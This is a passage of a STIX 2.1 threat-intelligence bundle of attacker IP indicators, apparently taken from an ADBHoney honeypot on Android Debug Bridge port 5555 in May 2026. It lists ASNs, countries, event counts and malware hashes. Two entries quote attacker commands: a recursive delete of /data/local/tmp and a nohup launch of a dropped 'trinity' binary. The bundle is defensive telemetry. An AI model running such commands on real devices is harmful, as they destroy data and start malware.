      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 71,
          "first_seen": "2026-05-08T19:01:26.000Z",
          "last_seen": "2026-05-08T19:12:41.591Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "41608"
          ],
          "org": [
            "NextGenWebs, S.L."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=11 | first_seen=2026-05-08T19:50:44.000Z | last_seen=2026-05-08T20:01:07.875Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--6d345e49-3204-49f6-bdbe-246bee65b0fa",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '58.23.87.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:00:02.000Z",
      "valid_until": "2026-06-09T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 11,
          "first_seen": "2026-05-08T19:50:44.000Z",
          "last_seen": "2026-05-08T20:01:07.875Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-08T22:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=AE; asn=210718; asn_org=Five Cyber Host Security S.r.l.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=33 | first_seen=2026-05-08T21:02:37.000Z | last_seen=2026-05-08T23:15:34.847Z | ports=5555 | cc=AE | asn=210718 | org=Five Cyber Host Security S.r.l.",
      "id": "indicator--4df96763-9d8a-4c62-ad28-d9aa12669574",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '31.57.129.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T22:00:10.000Z",
      "valid_until": "2026-06-09T22:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 33,
          "first_seen": "2026-05-08T21:02:37.000Z",
          "last_seen": "2026-05-08T23:15:34.847Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AE"
          ],
          "asn": [
            "210718"
          ],
          "org": [
            "Five Cyber Host Security S.r.l."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T04:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CA; asn=852; asn_org=TELUS Communications; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=3 | first_seen=2026-05-09T03:23:48.000Z | last_seen=2026-05-09T03:24:48.930Z | ports=5555 | cc=CA | asn=852 | org=TELUS Communications",
      "id": "indicator--8e99815b-faef-4471-af26-cafc81e63687",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.183.145.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T04:00:02.000Z",
      "valid_until": "2026-06-10T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 3,
          "first_seen": "2026-05-09T03:23:48.000Z",
          "last_seen": "2026-05-09T03:24:48.930Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "852"
          ],
          "org": [
            "TELUS Communications"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T06:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-09T04:59:08.000Z | last_seen=2026-05-09T05:10:42.936Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--56945d45-42e6-4288-92b5-710b2817ecb0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:00:05.000Z",
      "valid_until": "2026-06-10T06:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-09T04:59:08.000Z",
          "last_seen": "2026-05-09T05:10:42.936Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=35; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0; cmd=\"rm -rf /data/local/tmp/*\"\n\nObserved in ADBHoney telemetry for 2026-05. events=35 | first_seen=2026-05-09T06:29:00.000Z | last_seen=2026-05-09T06:44:09.609Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
      "id": "indicator--e968fc28-8429-45eb-82be-fc59c41e60f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '119.114.254.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:00:10.000Z",
      "valid_until": "2026-06-10T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 35,
          "first_seen": "2026-05-09T06:29:00.000Z",
          "last_seen": "2026-05-09T06:44:09.609Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=211607; asn_org=Securitytrails, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-09T06:12:42.000Z | last_seen=2026-05-09T06:13:49.050Z | ports=5555 | cc=US | asn=211607 | org=Securitytrails, LLC",
      "id": "indicator--332a1acd-e317-481f-94b0-d7580ab16c5f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.230.103.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:00:10.000Z",
      "valid_until": "2026-06-10T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-09T06:12:42.000Z",
          "last_seen": "2026-05-09T06:13:49.050Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "211607"
          ],
          "org": [
            "Securitytrails, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-09T06:30:19.000Z | last_seen=2026-05-09T06:31:26.110Z | ports=5555 | cc=PT | asn=211680 | org=Sistemas Informaticos, S.A.",
      "id": "indicator--6c0f6e20-6f4d-455b-a9d0-8532c2a84abd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:00:10.000Z",
      "valid_until": "2026-06-10T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-09T06:30:19.000Z",
          "last_seen": "2026-05-09T06:31:26.110Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "211680"
          ],
          "org": [
            "Sistemas Informaticos, S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=PT; asn=211680; asn_org=Sistemas Informaticos, S.A.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-09T06:32:04.000Z | last_seen=2026-05-09T06:42:18.173Z | ports=5555 | cc=PT | asn=211680 | org=Sistemas Informaticos, S.A.",
      "id": "indicator--6c50f4cc-e9e9-4e69-a934-dff55685d946",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T07:00:10.000Z",
      "valid_until": "2026-06-10T07:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-09T06:32:04.000Z",
          "last_seen": "2026-05-09T06:42:18.173Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PT"
          ],
          "asn": [
            "211680"
          ],
          "org": [
            "Sistemas Informaticos, S.A."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T08:01:55.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-09T07:54:18.000Z | last_seen=2026-05-09T07:55:23.378Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--d76041f9-e0b7-4cbc-be50-0f2adf94d3db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '183.232.212.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:01:55.000Z",
      "valid_until": "2026-06-10T08:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-09T07:54:18.000Z",
          "last_seen": "2026-05-09T07:55:23.378Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T09:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=400536; asn_org=Nodestop LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-09T08:29:09.000Z | last_seen=2026-05-11T17:48:31.003Z | ports=5555 | cc=US | asn=400536 | org=Nodestop LLC",
      "id": "indicator--200bbe70-c4b9-43ae-be66-29b8490f7e66",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '108.165.95.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:00:10.000Z",
      "valid_until": "2026-06-10T09:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-09T08:29:09.000Z",
          "last_seen": "2026-05-11T17:48:31.003Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "400536"
          ],
          "org": [
            "Nodestop LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T09:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-09T08:43:23.000Z | last_seen=2026-05-09T08:53:35.971Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--6e21bd1d-6bfe-485f-8daf-5246748dce0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.106.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:00:10.000Z",
      "valid_until": "2026-06-10T09:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-09T08:43:23.000Z",
          "last_seen": "2026-05-09T08:53:35.971Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T09:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-09T08:49:23.000Z | last_seen=2026-05-15T16:45:27.073Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--06146911-f05a-4a6e-99c3-f1dd98759d0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:00:10.000Z",
      "valid_until": "2026-06-10T09:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-09T08:49:23.000Z",
          "last_seen": "2026-05-15T16:45:27.073Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T09:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-09T08:48:21.000Z | last_seen=2026-05-09T08:49:22.234Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0a61128e-a8aa-4cf5-ab7e-b8306fa52b0a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:00:10.000Z",
      "valid_until": "2026-06-10T09:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-09T08:48:21.000Z",
          "last_seen": "2026-05-09T08:49:22.234Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T11:00:24.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=MX; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-09T10:02:50.000Z | last_seen=2026-05-09T10:03:59.182Z | ports=5555 | cc=MX | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--a5fc004f-05a7-45ca-96ee-057817fbf7f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.87.34.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T11:00:24.000Z",
      "valid_until": "2026-06-10T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-09T10:02:50.000Z",
          "last_seen": "2026-05-09T10:03:59.182Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=60; ports=5555; cc=VN; asn=45899; asn_org=VNPT Corp; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=60 | first_seen=2026-05-09T13:47:20.000Z | last_seen=2026-05-09T13:59:55.352Z | ports=5555 | cc=VN | asn=45899 | org=VNPT Corp | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--91518c00-23df-4495-8f4f-7cc0907d92fc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '113.160.250.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:00:02.000Z",
      "valid_until": "2026-06-10T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 60,
          "first_seen": "2026-05-09T13:47:20.000Z",
          "last_seen": "2026-05-09T13:59:55.352Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "45899"
          ],
          "org": [
            "VNPT Corp"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-09T14:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/6257c5693b0768470c5a1a0ea7c8efa9feb6dcda395ea8c768fef11b458ee7ea.raw; last_seen=2026-05-09T13:03:01.195Z",
